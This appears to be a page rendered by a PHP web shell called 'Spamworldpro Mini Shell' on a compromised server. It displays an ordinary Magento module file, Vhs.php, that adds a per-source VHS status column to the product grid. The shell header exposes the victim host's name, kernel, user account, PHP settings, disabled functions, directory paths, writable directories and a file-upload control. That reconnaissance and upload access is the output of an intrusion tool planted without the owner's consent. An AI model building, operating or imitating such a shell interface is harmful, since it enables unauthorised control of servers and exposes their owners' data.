Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/Catalog/Ui/DataProvider/Product/Listing/Modifier/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Cnc/Catalog/Ui/DataProvider/Product/Listing/Modifier/Vhs.php
<?php
/**
 * Copyright (c) 20201 Kaliop Digital Commerce (https://digitalcommerce.kaliop.com) All Rights Reserved.
 * https://opensource.org/licenses/OSL-3.0  Open Software License (OSL 3.0)
 * Krzysztof Majkowski <[email protected]> <[email protected]>
 */
declare(strict_types=1);

namespace Cnc\Catalog\Ui\DataProvider\Product\Listing\Modifier;

use Cnc\Catalog\Model\Attribute\MsiAttributes;
use Cnc\Checkout\Api\GetAssignedSourceCodesBySkuInterface;
use Ecombricks\Inventory\Model\SourceManagement;
use Magento\Catalog\Ui\DataProvider\Product\Form\Modifier\AbstractModifier;
use Magento\Ui\Component\Form\Element\DataType\Text;
use Magento\Ui\Component\Listing\Columns\Column;

class Vhs extends AbstractModifier
{
    /**
     * @var GetAssignedSourceCodesBySkuInterface
     */
    private $getAssignedSourceCodesBySku;

    /**
     * @var SourceManagement
     */
    private $sourceManagement;

    /**
     * @var MsiAttributes
     */
    private $msiAttributes;

    /**
     * @param GetAssignedSourceCodesBySkuInterface $getAssignedSourceCodesBySku
     * @param SourceManagement $sourceManagement
     * @param MsiAttributes $msiAttributes
     */
    public function __construct(
        GetAssignedSourceCodesBySkuInterface $getAssignedSourceCodesBySku,
        SourceManagement $sourceManagement,
        MsiAttributes $msiAttributes
    ) {
        $this->getAssignedSourceCodesBySku = $getAssignedSourceCodesBySku;
        $this->sourceManagement = $sourceManagement;
        $this->msiAttributes = $msiAttributes;
    }

    /**
     * @inheritdoc
     */
    public function modifyData(array $data)
    {
        if (0 === $data['totalRecords']) {
            return $data;
        }

        $data['items'] = $this->getSourceItemsData($data['items']);

        return $data;
    }

    /**
     * Add VHS per source to the items.
     *
     * @param array $dataItems
     * @return array
     */
    private function getSourceItemsData(array $dataItems): array
    {
        $attributeId = $this->msiAttributes->getAttributeId('cnc_vhs');
        foreach ($dataItems as $key => $item) {
            $dataItems[$key]['vhs'] = [];
            if ($item['type_id'] !== 'simple') {
                continue;
            }

            $sources = $this->getAssignedSourceCodesBySku->execute($item['sku']);
            foreach ($sources as $source) {
                $attributeValue = $this->msiAttributes->getAttributeValue($attributeId, $item['sku'], $source);
                $status = ($attributeValue && $attributeValue->getValue() == 1) ? 'Enabled' : 'Disabled';
                $dataItems[$key]['vhs'] []= [
                    'source_name' => $this->sourceManagement->getSourceName($source),
                    'status' => __($status)
                ];
            }
        }

        return $dataItems;
    }

    /**
     * @inheritdoc
     */
    public function modifyMeta(array $meta)
    {
        $meta = array_replace_recursive(
            $meta,
            [
                'product_columns' => [
                    'children' => [
                        'vhs' => $this->getVhsMeta(),
                    ],
                ],
            ]
        );
        return $meta;
    }

    /**
     * VHS per source metadata for rendering.
     *
     * @return array
     */
    private function getVhsMeta(): array
    {
        return [
            'arguments' => [
                'data' => [
                    'config' => [
                        'sortOrder' => 1200,
                        'filter' => false,
                        'sortable' => false,
                        'label' => __('VHS'),
                        'dataType' => Text::NAME,
                        'componentType' => Column::NAME,
                        'component' => 'Cnc_Catalog/js/grid/columns/vhs',
                    ]
                ],
            ],
        ];
    }
}

Spamworldpro Mini